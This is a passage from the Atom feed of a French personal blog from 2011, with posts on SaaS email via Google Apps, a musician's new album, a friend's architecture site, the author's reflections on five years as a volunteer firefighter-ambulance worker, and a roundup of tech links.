&lt;li&gt;d&amp;rsquo;avoir les compétences pour installer le système ou de faire appel à un consultant qui viendra faire la mise en œuvre/service&lt;/li&gt;
&lt;li&gt;d&amp;rsquo;avoir le matériel nécessaire (et la place pour le stocker)&lt;/li&gt;
&lt;li&gt;de faire les mise à jour matérielles et logicielles en temps et en heure&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il peut être plus facile pour moi de demander à une personne/société tierce de garder le matériel chez lui, d&amp;rsquo;installer le &lt;em&gt;software&lt;/em&gt;… et de simplement m&amp;rsquo;offrir &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; l&amp;rsquo;utilisation du logiciel. En tant qu&amp;rsquo;utilisateur, je ne dois plus me soucier de la mise à jour du matériel et de son stockage, ni des mises à jours logicielles, ni de la sécurité de l&amp;rsquo;application… Je &lt;strong&gt;loue simplement un service&lt;/strong&gt;. En échange je dois faire un peu confiance à la société tierce qui conservera mes données.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SaaS est un modèle de livraison de solution où l’éditeur/constructeur fournit des moyens et où le fournisseur de service propose (généralement dans le cadre d&amp;rsquo;un abonnement récurrent) la fonctionnalité intégrée et gérée à ses clients qui l’utiliseront. Les clients ne paient pas pour posséder le logiciel en lui-même mais plutôt pour l’utiliser. Ils l’utilisent soit directement via l’interface disponible, soit via des API fournies (souvent réalisées grâce aux WebServices ou à l’architecture REST&lt;/p&gt;
&lt;p&gt;&lt;a href="http://fr.wikipedia.org/wiki/Logiciel_en_tant_que_service"&gt;Extrait de Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Prenons l&amp;rsquo;exemple de l&amp;rsquo;&lt;strong&gt;email&lt;/strong&gt;. J&amp;rsquo;ai &lt;a href="2009-11-18-Je-travaille-dans-une-ecole-imaginaire.html"&gt;déjà dit&lt;/a&gt; que la forme d&amp;rsquo;une adresse email avait de l&amp;rsquo;importance. On sait déjà qu&amp;rsquo;il faut éviter &lt;code&gt;petitefleur@hotmail.com&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;étape suivante est de choisir une adresse de la forme &lt;code&gt;pnom@example.com&lt;/code&gt; et tout le monde en est conscient. Mais &lt;strong&gt;quid du choix de &amp;lsquo;example.com&amp;rsquo;&lt;/strong&gt; ?&lt;/p&gt;
&lt;p&gt;Si un particulier peut envisager d&amp;rsquo;avoir un email &lt;a href="http://hotmail.com/"&gt;hotmail&lt;/a&gt; (beurk), &lt;a href="http://yahoo.fr/"&gt;Yahoo&lt;/a&gt; (on ne sait jamais si c&amp;rsquo;est fr, com ou autre) ou &lt;a href="http://gmail.com/"&gt;GMail&lt;/a&gt;, une entreprise doit fournir un email avec son nom de domaine (&lt;code&gt;pbettens@heb.be&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Ceci implique soit une redirection vers un service de mail (ce que je fais pour namok qui est redirigé) soit la mise en place d&amp;rsquo;un &lt;strong&gt;serveur de mail&lt;/strong&gt;… et de tout ce qui gravite autour (la machine, le soft, la gestion des &lt;strong&gt;spams&lt;/strong&gt;…). Si hier c&amp;rsquo;était tout à fait gérable, aujourd&amp;rsquo;hui ça commence à être lourd (le nombre de spam à jeter &lt;strong&gt;et&lt;/strong&gt; à trouver étant assez élevé, c&amp;rsquo;est presque un &lt;a href="http://www.logiciel-antispam.com/"&gt;métier&lt;/a&gt; que de les gérer).&lt;/p&gt;
&lt;p&gt;Si j&amp;rsquo;étais un &lt;em&gt;décideur pressé&lt;/em&gt;, je migrerais assez vite cette gestion de mails vers une solution &lt;em&gt;saas&lt;/em&gt;… et je choisirai Google et &lt;a href="http://www.google.com/apps/intl/en/business/index.html"&gt;Google apps for Business&lt;/a&gt;. Je paie et en échange j&amp;rsquo;obtiens la gestion de mes mails (et donc une bonne gestion de mes spams) chez Google. De plus mes employés sont familiers (pour la plupart) avec l&amp;rsquo;interface web.&lt;/p&gt;
&lt;p&gt;Bon, de bonne guère &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; Google fait comme MS Microsoft et propose le &lt;a href="http://www.google.com/apps/intl/en/edu/index.html"&gt;service gratuitement&lt;/a&gt; &lt;em&gt;for education&lt;/em&gt; histoire que l&amp;rsquo;on rende nos petits captifs ;-)&lt;/p&gt;
&lt;p&gt;Petit plus; c&amp;rsquo;est tout Google Apps que j&amp;rsquo;obtiens, pas seulement le mail. Ça gère donc mon &lt;strong&gt;agenda&lt;/strong&gt;, les documents partagés… Bref, facile, gratuit (pour nous),… que du bon &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;!&lt;/p&gt;
&lt;p&gt;La prochaine fois, je me penche sur l&amp;rsquo;API Google fournie avec le &lt;em&gt;package&lt;/em&gt; et la possibilité de &lt;em&gt;single sign on&lt;/em&gt;…&lt;/p&gt;
&lt;p&gt;À lire aussi&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011-07-08-Got-the-wrong-Bob.html"&gt;Got the wrong Bob ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-03-17-Notification-d-emails-notify-mail.html"&gt;Notification d&amp;rsquo;emails notify-mail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010-01-27-Exit-Youtube-retour-en-force-vers-Dailymotion.html"&gt;Exit Youtube, retour en force vers Dailymotion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je devrai probablement ^^ payer pour ça&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Comme c&amp;rsquo;est Google et que je trouve leurs services bien léchés et fonctionnels, je dis de « bonne guère ». C&amp;rsquo;eût-été MS Microsoft, je n&amp;rsquo;aurais pas tenu le même discours ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Je sais, c&amp;rsquo;est Google qui détient nos mail et pas nous. Si c&amp;rsquo;est un inconvénient, c&amp;rsquo;est le seul.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Jean-Paul DEN, En harmonie</title><link href="http://blog.namok.be/2011-11-26-Jean-Paul-DEN-En-harmonie.html" rel="alternate"/><published>2011-11-26T00:00:00+01:00</published><updated>2011-11-26T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-11-26:/2011-11-26-Jean-Paul-DEN-En-harmonie.html</id><summary type="html">Jean-Paul Den sort un nouvel album.</summary><content type="html">&lt;p&gt;&lt;img alt="En Harmonie" class="right" src="/images/jpd_album2011_enharmonie.png" title="En Harmonie, nov. 2011" width="150px"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://musiqueautour.be/"&gt;Jean-Paul DEN&lt;/a&gt; sort son nouvel album &lt;strong&gt;En Harmonie&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;N&amp;rsquo;hésitez pas à l&amp;rsquo;écouter (&lt;a href="http://www.myspace.com/jeanpaulden"&gt;MySpace&lt;/a&gt;, &lt;a href="http://www.youtube.com/user/jpden002"&gt;Youtube&lt;/a&gt;), même à devenir &lt;a href="https://www.facebook.com/musiqueautour"&gt;fan sur FB&lt;/a&gt;… et surtout à &lt;a href="http://musiqueautour.be/index.php?p=achat"&gt;l&amp;rsquo;acheter&lt;/a&gt;… ben oui ! Ce sont bientôt les fêtes.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
&lt;br/&gt;
&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://musiqueautour.be/"&gt;&lt;img alt="screenshot-musiqueautour-20111124.png" src="/images/screenshot-musiqueautour-20111124.png" title="screenshot-musiqueautour-20111124.png, nov. 2011"&gt;&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Thierry Calcus, le troisième petit cochon</title><link href="http://blog.namok.be/2011-11-26-Thierry-Calcus-le-troisieme-petit-cochon.html" rel="alternate"/><published>2011-11-26T00:00:00+01:00</published><updated>2011-11-26T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-11-26:/2011-11-26-Thierry-Calcus-le-troisieme-petit-cochon.html</id><summary type="html">Thierry Calcus, le troisième petit cochon</summary><content type="html">&lt;p&gt;&lt;a href="http://thierrycalcusarchitecte.be/"&gt;Thierry Calcus&lt;/a&gt;, le troisième petit cochon &amp;hellip; celui qui construit sa maison &lt;strong&gt;en briques&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Je viens de faire quelques mises à jour sur le site de &lt;em&gt;Tibus&lt;/em&gt;, mon copain &lt;strong&gt;architecte&lt;/strong&gt; qui construit/rénove les maisons d&amp;rsquo;autres copains. On y trouve pas mal de très chouettes projets (N&amp;rsquo;est-ce pas Marie et Marie-Sophie) &amp;hellip; parfois abordables, pafois pas (ils laissent vachement rêveur ou jaloux c&amp;rsquo;est selon).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://thierrycalcusarchitecte.be/"&gt;&lt;img alt="plusieursProjets.png" src="/images/plusieursProjets
.png" title="plusieursProjets.png, nov. 2011"&gt;&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Évaluation quinquennale et évaluation tout court</title><link href="http://blog.namok.be/2011-11-25-evaluation-quinquennale-et-evaluation-tout-court.html" rel="alternate"/><published>2011-11-25T00:00:00+01:00</published><updated>2011-11-25T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-11-25:/2011-11-25-evaluation-quinquennale-et-evaluation-tout-court.html</id><summary type="html">Évaluation chez les pompiers.</summary><content type="html">&lt;p&gt;Après (seulement) 5 ans en tant que pompier-ambulancier, quelles sont mes conclusions ? En tant qu&amp;rsquo;ambulancier, je dois présenter une évaluation tous les 5 ans afin de conserver mon &lt;strong&gt;badge d&amp;rsquo;ambulancier&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;aube de cette évaluation, je me pose pas mal de questions par rapport à mon engagement:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pourquoi être/rester pompier ?&lt;/li&gt;
&lt;li&gt;Quel ratio entre le temps passé en formation et celui passé en intervention ?&lt;/li&gt;
&lt;li&gt;Quelle est la proportion d&amp;rsquo;interventions «urgentes et pompiers» par rapport à des interventions «d&amp;rsquo;entretien communal» ou non urgentes ?&lt;/li&gt;
&lt;li&gt;Suis-je un ambulancier, un pompier (un peu) compétent ?&lt;/li&gt;
&lt;li&gt;En 2011, est-ce compatible; un travail, une famille et un statut de pompier volontaire ?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voici venu le temps de l&amp;rsquo;évaluation (et autant la mettre par écrit).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Premier constat&lt;/strong&gt;, j&amp;rsquo;habite relativement loin (5&amp;rsquo;)&lt;/p&gt;
&lt;p&gt;Lorsque le bip sonne, les pompiers arrivent, les camions se remplissent et partent. Et si «le train n&amp;rsquo;attend pas», le camion de pompier attend encore moins ! Ce qui fait qu&amp;rsquo;habiter loin implique que, régulièrement, le camion est parti quand j&amp;rsquo;arrive &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; !&lt;/p&gt;
&lt;p&gt;Je me retrouve donc assis dans le fauteuil attendant le retour de mes collègues. Outre que ce soit complètement démotivant et source de taquineries, j&amp;rsquo;ai bien autre chose à faire que de m&amp;rsquo;asseoir dans un fauteuil à 2h du matin ! Je n&amp;rsquo;ai pas l&amp;rsquo;impression d&amp;rsquo;être au service de la population. Je n&amp;rsquo;acquiers aucune expérience.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deuxième constat&lt;/strong&gt;, je ne suis pas « très disponible » (famille, boulot).&lt;/p&gt;
&lt;p&gt;Nous (la famille et moi) avons des difficultés à gérer la &lt;strong&gt;disponibilité&lt;/strong&gt;. Je n&amp;rsquo;ai pas de soucis pour me libérer pour une garde ambulance lorsque celle-ci est prévue mais j&amp;rsquo;ai des difficultés à être &lt;strong&gt;«disponible pompier»&lt;/strong&gt; à la maison (ou dans la zone).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Être disponible pompier&lt;/strong&gt; signifie que l&amp;rsquo;on signale au système qu&amp;rsquo;il peut nous biper ! Ce qui implique que&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;je dois rester dans la zone (pas trop de soucis)&lt;/li&gt;
&lt;li&gt;je ne peux pas rester seul avec les enfants (ma femme est donc, soit bloquée, soit obligée de prendre tous les enfants &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;je ne peux pas partir avec les enfants (et ça les ennuie de ne pas pouvoir venir faire une course avec moi ou…)&lt;/li&gt;
&lt;li&gt;on évite de faire du mortier ou de coller du plancher&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Être disponible pompier&lt;/strong&gt; ne veut absolument pas dire qu&amp;rsquo;il y aura une intervention pendant ce temps là ^^… on accepte ces contraintes parfois/souvent pour « rien » &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Cette &lt;strong&gt;disponibilité&lt;/strong&gt; est donc une source de stress pour moi et la famille… et Dieu sait comme un couple n&amp;rsquo;a pas besoin de stress supplémentaire.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Troisième constat&lt;/strong&gt;, je n&amp;rsquo;aime pas spécialement dire que je suis pompier.&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;ai absolument pas honte d&amp;rsquo;être pompier, mais je n&amp;rsquo;en retire aucune gloire. Je ne me suis pas engagé pour le prestige de l&amp;rsquo;uniforme mais plutôt comme un &lt;em&gt;service à rendre à la collectivité&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Si je n&amp;rsquo;aime pas que l&amp;rsquo;on me considère comme pompier, c&amp;rsquo;est parce que&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;je ne recherche pas une identité ou une reconnaissance sociale (je suis moi, je suis prof et ça me va),&lt;/li&gt;
&lt;li&gt;je n&amp;rsquo;estime pas être un « bon pompier »&lt;/li&gt;
&lt;li&gt;ça m&amp;rsquo;occasionne du stress car les gens pensent que, comme pompier, je peux faire face à toutes les situations urgentes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si je ne m&amp;rsquo;estime pas &lt;strong&gt;bon pompier&lt;/strong&gt; c&amp;rsquo;est parce que, même si l&amp;rsquo;on fait quelques exercices, le fait que je sorte peu ne me donne que &lt;strong&gt;peu d&amp;rsquo;expérience&lt;/strong&gt;. Et cette expérience me fait cruellement défaut.&lt;/p&gt;
&lt;p&gt;Régulièrement, les gens sont rassurés de savoir qu&amp;rsquo;il y a un ambulancier avec eux; « Il saura quoi faire. ». Je pense que je réagirais (beaucoup) mieux que pas mal de quidams mais je n&amp;rsquo;ai qu&amp;rsquo;une formation d&amp;rsquo;ambulancier… bien loin de celle d&amp;rsquo;infirmier (et l&amp;rsquo;on ne parle même pas de médecine). Et cette formation ne concerne &lt;strong&gt;que&lt;/strong&gt; les premiers soins et le transport dans de bonnes conditions. Ni plus… ni moins.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;C&amp;rsquo;est peut-être un simple problème de confiance en soi…&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quatrième constat&lt;/strong&gt;, la formation de pompier, d&amp;rsquo;ambulancier&lt;/p&gt;
&lt;p&gt;Une des raisons pour lesquelles je me suis engagé était de savoir quelles compétences est sensé avoir le pompier/ambulancier qui vient me chercher si je me &lt;em&gt;crashe&lt;/em&gt; en voiture.&lt;/p&gt;
&lt;p&gt;Au niveau de la formation d&amp;rsquo;&lt;strong&gt;ambulancier&lt;/strong&gt;, je ne suis pas déçu, la formation est bonne. Ce qu&amp;rsquo;il peut manquer (comme à moi, par exemple) c&amp;rsquo;est de l&amp;rsquo;expérience &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;… pour acquérir de l&amp;rsquo;expérience, il faut être plus disponible (et avoir un peu de chance)… retour au point 2 ;-)&lt;/p&gt;
&lt;p&gt;Au niveau de la formation &lt;strong&gt;pompier&lt;/strong&gt;, ça évolue pas mal bien qu&amp;rsquo;il y ait encore beaucoup de lacunes. Je ne jette la pierre à personne, ce n&amp;rsquo;est pas facile à organiser et le public est constitué de gens fort différents. Pour ce qui est de la formation pour l&amp;rsquo;obtention des différents brevets (sapeur, caporal, sergent…) pas mal de chemin reste à parcourir… Par contre, depuis quelques années, s&amp;rsquo;ajoutent des formations spécifiques très intéressantes; formation &lt;em&gt;flashover&lt;/em&gt;, résistance au feu, gaz… Ces formations permettent vraiment de faire des choses que l&amp;rsquo;on ne fait pas ailleurs et ça c&amp;rsquo;est gai (lire, &lt;a href="2009-10-22-Un-barbecue-sans-saucisses.html"&gt;mon passage au four&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Devenir pompier/ambulancier demande une formation continue qu&amp;rsquo;il est difficile d&amp;rsquo;obtenir au vu des activités que l&amp;rsquo;on a (famille, boulot, loisir,…).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cinquième constat&lt;/strong&gt;, les ressources humaines !&lt;/p&gt;
&lt;p&gt;Dans une caserne gérée par des volontaires &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; l&amp;rsquo;organisation est une gageure. Tous les jours, les « gradés » essaient d&amp;rsquo;organiser le service mais c&amp;rsquo;est loin d&amp;rsquo;être une tâche aisée.&lt;/p&gt;
&lt;p&gt;Pour terminer sur une &lt;strong&gt;note plus positive&lt;/strong&gt;, le fait d&amp;rsquo;être pompier/ambulancier m&amp;rsquo;amène à rencontrer plein de gens (en formation et en intervention), à faire des choses que l&amp;rsquo;on ne fait pas ailleurs, à bouger…&lt;/p&gt;
&lt;p&gt;… reste à savoir si le &lt;em&gt;ratio&lt;/em&gt; rencontres-gens intéressants / rencontres-gens inintéressants me convient. Pour l&amp;rsquo;instant c&amp;rsquo;est moyen.&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011-08-25-Proposition-de-logo-pour-les-pompiers-zone-hainaut-ouest.html"&gt;Proposition de logo pour les pompiers, zone hainaut ouest&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-08-12-Sapeur-pompier-11h-de-repos-obligatoire.html"&gt;Sapeur-pompier, 11h de repos obligatoire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2004-11-23-7-aspirant-pompier-ambulancier.html"&gt;Aspirant pompier-ambulancier&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2005-06-16-8-aspirant-pompier-ambulancer-ii.html"&gt;Aspirant pompier-ambulancer II&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Lorsque le système bipe les hommes, il prévoit 2 hommes de plus et parfois le camion part sans être rempli&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Oui, ils sont nombreux, c&amp;rsquo;est ainsi.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Pour les collègues pompiers qui lisent, je sais que «c&amp;rsquo;est ça être pompier» mais ce n&amp;rsquo;est pas parce que je sais que c&amp;rsquo;est comme ça que ça me convient ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;En plus certains on moins de chance que d&amp;rsquo;autres en termes de «sorties». Pendant une garde ambulances, certains ont la chance (?) qu&amp;rsquo;il se passe quelque chose, d&amp;rsquo;autres moins souvent.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Pour rappel, tout le monde travail &lt;strong&gt;à temps plein&lt;/strong&gt; en plus d&amp;rsquo;être pompier. À Ath, il y a 2 professionnels et ±70 volontaires.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vrac #7</title><link href="http://blog.namok.be/2011-11-24-vrac-7.html" rel="alternate"/><published>2011-11-24T00:00:00+01:00</published><updated>2011-11-24T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-11-24:/2011-11-24-vrac-7.html</id><summary type="html">Vrac #7</summary><content type="html">&lt;p&gt;Quelques liens en vrac, ça faisait longtemps. (Certains sont d&amp;rsquo;ailleurs assez vieux).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://openoffice.org/"&gt;Openoffice.org 3&lt;/a&gt; permet d&amp;rsquo;annoter les PDF. Exit Jarnal et autres &lt;a href="http://xournal.org/"&gt;Xournal&lt;/a&gt;. Pour ce faire, il suffit d&amp;rsquo;ajouter un plugin provenant d&amp;rsquo;&lt;a href="http://oracle.com/"&gt;Oracle&lt;/a&gt; (&lt;a href="http://extensions.services.openoffice.org/project/pdfimport"&gt;plugin&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;accès à &lt;a href="http://youtube.com/"&gt;Youtube&lt;/a&gt; se dégrade chez &lt;a href="http://free.fr/"&gt;Free&lt;/a&gt;, &lt;a href="http://orange.fr/"&gt;Orange&lt;/a&gt; et &lt;a href="http://sfr.fr/"&gt;SFR&lt;/a&gt; selon &lt;a href="http://www.korben.info/fai-la-strategie-du-pourrissement.html"&gt;Korben et la stratégie du pourrissement&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Orange a racheté &lt;a href="http://dailymotion.fr/"&gt;Dailymotion&lt;/a&gt; il y a peu de temps, et l’on peut très bien imaginer qu’un jour, ils dégradent “involontairement” le service vers Youtube en offrant un meilleur accès à Dailymotion par le biais d’une connectivité directe (peering privé) ou transit IP “made in Orange”.&lt;/p&gt;
&lt;p&gt;Heureusement, je leur fais confiance et ça n’arrivera pas… Euuh attendez… ah si, Orange est bien dans le trio des FAI qui empêchent leurs abonnés d’avoir un accès normal à Youtube et demandent que les éditeurs passent à la caisse. Zut alors…&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.korben.info/fai-la-strategie-du-pourrissement.html"&gt;Extrait de Korben&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;CDN (Content Delivery Network). Qu&amp;rsquo;est-ce ? &lt;a href="http://www.itespresso.fr/bt-declenche-une-polemique-en-ouvrant-des-services-cdn-40003.html"&gt;lien&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Damned ! On est des &lt;a href="http://www.korben.info/tous-des-gros-cons.html"&gt;gros cons&lt;/a&gt; ;-)&lt;/p&gt;
&lt;p&gt;Sortie de &lt;a href="http://www.tux-planet.fr/firefox-8/"&gt;Firefox 8 chez Tux-Planet&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour ceux qui se demandent si l&amp;rsquo;organisation du &lt;em&gt;filesystem&lt;/em&gt; linux est simple et si tout le monde est d&amp;rsquo;accord, un tour sur &lt;a href="http://linuxfr.org/news/usr-friendly"&gt;LinuxFr&lt;/a&gt; s&amp;rsquo;impose ;-) On peut également y lire que c&amp;rsquo;est l&amp;rsquo;&lt;a href="http://linuxfr.org/news/vim-f%C3%AAte-son-20e%C2%A0anniversaire"&gt;anniversaire de vim&lt;/a&gt;…et les anniversaires c&amp;rsquo;est bien. Dans les commentaires on trouvera plein de &lt;em&gt;tips and tricks&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Et notre bon &lt;em&gt;&lt;a href="http://www.heb.be/esi/profs/NPX_fr.htm"&gt;npx&lt;/a&gt;&lt;/em&gt; écrit un &lt;a href="http://www.lesoir.be/actualite/vie_du_net/2011-11-22/la-culture-gratuite-ou-presque-878491.php"&gt;article dans Le Soir&lt;/a&gt;… et ce n&amp;rsquo;était pas le premier (dixit &lt;a href="https://www.google.com/search?q=site:lesoir.be+nicolas+pettiaux"&gt;Google&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.itespresso.fr/google-rafraichit-le-seo-a-la-caffeine-47822.html"&gt;Google revoit sa manière d&amp;rsquo;indexer les sites&lt;/a&gt;… je me demande si ça aura un impact sur les sites a faible influence et à contenu (moyennement) statique.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pour les utilisateurs de Google Search, la saisie d’un ou plusieurs mots-clés devrait se traduire par une mise en avant des contenus les plus récents.&lt;/p&gt;
&lt;p&gt;Il incombera toutefois aux algorithmes de juger de l’équilibre idéal entre actualité et pertinence de l’information.&lt;/p&gt;
&lt;p&gt;Ainsi, le tri des faits divers sera une question de minutes, quand les recettes de cuisine, essentiellement valorisées pour leur popularité, joueront d’une intemporalité certaine pour se maintenir en tête de la meute.&lt;/p&gt;
&lt;p&gt;Autre élément, la récurrence d’événements tels que des salons et des compétitions sportives.&lt;/p&gt;
&lt;p&gt;Sollicité avec comme seule lexie « jeux olympiques », le moteur de recherche redirigera préférentiellement vers des sites traitant de la prochaine échéance, en l’occurrence Londres 2012. Les pages généralistes devraient en pâtir.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.itespresso.fr/google-rafraichit-le-seo-a-la-caffeine-47822.html"&gt;Extrait de ITExpresso&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="http://bricablog.net/"&gt;Tarquine&lt;/a&gt; nous informe que les &lt;em&gt;ebooks&lt;/em&gt; sont chers. C&amp;rsquo;est alors drôle si le &lt;a href="http://www.ebouquin.fr/2011/11/13/gallimard-le-dernier-goncourt-corrige-par-la-communaute-pirate/"&gt;Gallimard et son Goncourt se sont fait moucher&lt;/a&gt; (&lt;em&gt;dixit&lt;/em&gt;) par une &lt;em&gt;team&lt;/em&gt; pirates et qu&amp;rsquo;ils précisent que les ebooks commerciaux sont de qualité inégale (mais toujours payant) (&lt;a href="http://www.teamalexandriz.org/un-pave-dans-la-mare-correction-2/"&gt;lien&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Tiens, un truc que j&amp;rsquo;avais jamais regardé (et ça date d&amp;rsquo;un an, oui oui). &lt;a href="http://www.chartle.net/"&gt;Chartle&lt;/a&gt; permet de faire des graphiques… à tester.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sources&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.01net.com/contenu/2562/ta_fiches/modifiez-les-fichiers-pdf-grace-a-openofficeorg-3-524-1"&gt;01net&lt;/a&gt;, 
&lt;a href="http://korbin.info/"&gt;Korben&lt;/a&gt;, 
&lt;a href="http://itexpresso.fr/"&gt;ITExpresso&lt;/a&gt;, 
&lt;a href="http://lesoir.be/"&gt;Le Soir&lt;/a&gt;, 
&lt;a href="http://linuxfr.org/"&gt;LinuxFr&lt;/a&gt;, 
&lt;a href="http://bricablog.net/"&gt;Veuve Tarquine&lt;/a&gt;.&lt;/p&gt;</content></entry><entry><title>Quel contenu pour les infographistes</title><link href="http://blog.namok.be/2011-11-22-Quel-contenu-pour-les-infographistes.html" rel="alternate"/><published>2011-11-22T00:00:00+01:00</published><updated>2011-11-22T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-11-22:/2011-11-22-Quel-contenu-pour-les-infographistes.html</id><summary type="html">Suite du sondage que j'invitais à compléter au sujet des matières à enseigner en infographie.</summary><content type="html">&lt;p&gt;Début de l&amp;rsquo;année, &lt;a href="2011-09-01-Un-petit-sondage-pour-la-rentree.html"&gt;je vous invitais à compléter un petit sondage pour la rentrée&lt;/a&gt;.&lt;/p&gt;
